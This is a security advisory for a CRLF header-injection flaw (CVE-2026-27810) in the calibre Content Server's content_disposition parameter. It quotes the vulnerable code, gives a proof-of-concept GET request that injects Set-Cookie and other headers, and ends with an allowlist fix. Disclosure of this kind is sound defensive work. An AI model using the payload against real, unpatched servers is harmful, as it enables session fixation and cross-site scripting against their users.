Skip to content

HTTP Response Header Injection

Moderate
kovidgoyal published GHSA-5fpj-fxw7-8grw Feb 27, 2026

Package

calibre

Affected versions

<= 9.3.1

Patched versions

9.4.0

Description

Summary

An HTTP Response Header Injection vulnerability in the calibre Content Server allows any authenticated user to inject arbitrary HTTP headers into server responses via an unsanitized content_disposition query parameter in the /get/ and /data-files/get/ endpoints.

Details

The book_fmt() function in src/calibre/srv/content.py reads the content_disposition query parameter directly from the request URL and embeds it into the Content-Disposition HTTP response header without any validation or sanitization.

src/calibre/srv/content.py, line 224-226:

cd = rd.query.get('content_disposition', 'attachment')
rd.outheaders['Content-Disposition'] = (
    f'''{cd}; filename="{book_filename(rd, book_id, mi, fmt)}"; filename*=utf-8''{book_filename(rd, book_id, mi, fmt, as_encoded_unicode=True)}''')

The same pattern is repeated in the data_file() function at line 526-528:

cd = rd.query.get('content_disposition', 'attachment')
rd.outheaders['Content-Disposition'] = (
    f'''{cd}; filename="{fname_for_content_disposition(fname)}"; filename*=utf-8''{fname_for_content_disposition(fname, as_encoded_unicode=True)}''')

rd.query is populated from the raw URL query string via urllib.parse.parse_qs (src/calibre/srv/http_request.py:85), which URL-decodes all values. This means percent-encoded CRLF sequences (%0d%0a) are decoded into literal \r\n characters before being placed into the response header.

The response writer at src/calibre/srv/http_response.py:519-520 then writes each header as:

for header, value in sorted(outheaders.items(), key=itemgetter(0)):
    buf.append(f'{header}: {value}')

The injected \r\n in the value splits the HTTP header line, allowing the attacker to inject entirely new response headers.

PoC

Prerequisites:

  1. A running calibre Content Server with authentication enabled (calibre-server --enable-auth)
  2. At least one book in the library (e.g., book ID 1 with an epub format)
  3. Valid user credentials

Steps to reproduce:

  1. Start the calibre content server:

    calibre-server --enable-auth --username test --password test123 /path/to/library
  2. Authenticate and send the following request (replacing <host> with the server address):

    GET /get/epub/1?content_disposition=attachment%0d%0aX-Injected:%20true%0d%0aSet-Cookie:%20evil=session HTTP/1.1
    Host: <host>:8080
    Authorization: <valid auth header>
    
  3. Observe the HTTP response headers. The response will contain:

    Content-Disposition: attachment
    X-Injected: true
    Set-Cookie: evil=session
    ; filename="..."; filename*=utf-8''...
    

    The X-Injected and Set-Cookie headers were injected by the attacker through the query parameter.

An attacker can also craft a link and send it to an authenticated victim to trigger the injection in their browser session, since the /get/ endpoint supports cookie-based auth via the android_workaround flag.

Impact

This is an HTTP Response Header Injection / Response Splitting vulnerability (CWE-113).

An authenticated attacker can inject arbitrary HTTP response headers, enabling:

  • Cross-Site Scripting (XSS): Injecting a Content-Type: text/html header followed by a malicious HTML body to execute JavaScript in the victim's browser context.
  • Session Fixation: Injecting Set-Cookie headers to set attacker-controlled session cookies in the victim's browser.
  • Cache Poisoning: If the calibre server sits behind a caching reverse proxy, injected headers can poison cached responses and affect other users.

All users running the calibre Content Server with authentication enabled are affected. The vulnerability is exploitable by any authenticated user and can also be triggered by tricking an authenticated victim into clicking a crafted link.

Suggested Fix

Validate content_disposition against an allowlist of permitted values:

cd = rd.query.get('content_disposition', 'attachment')
if cd not in ('attachment', 'inline'):
    cd = 'attachment'

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-27810

Weaknesses

No CWEs

Credits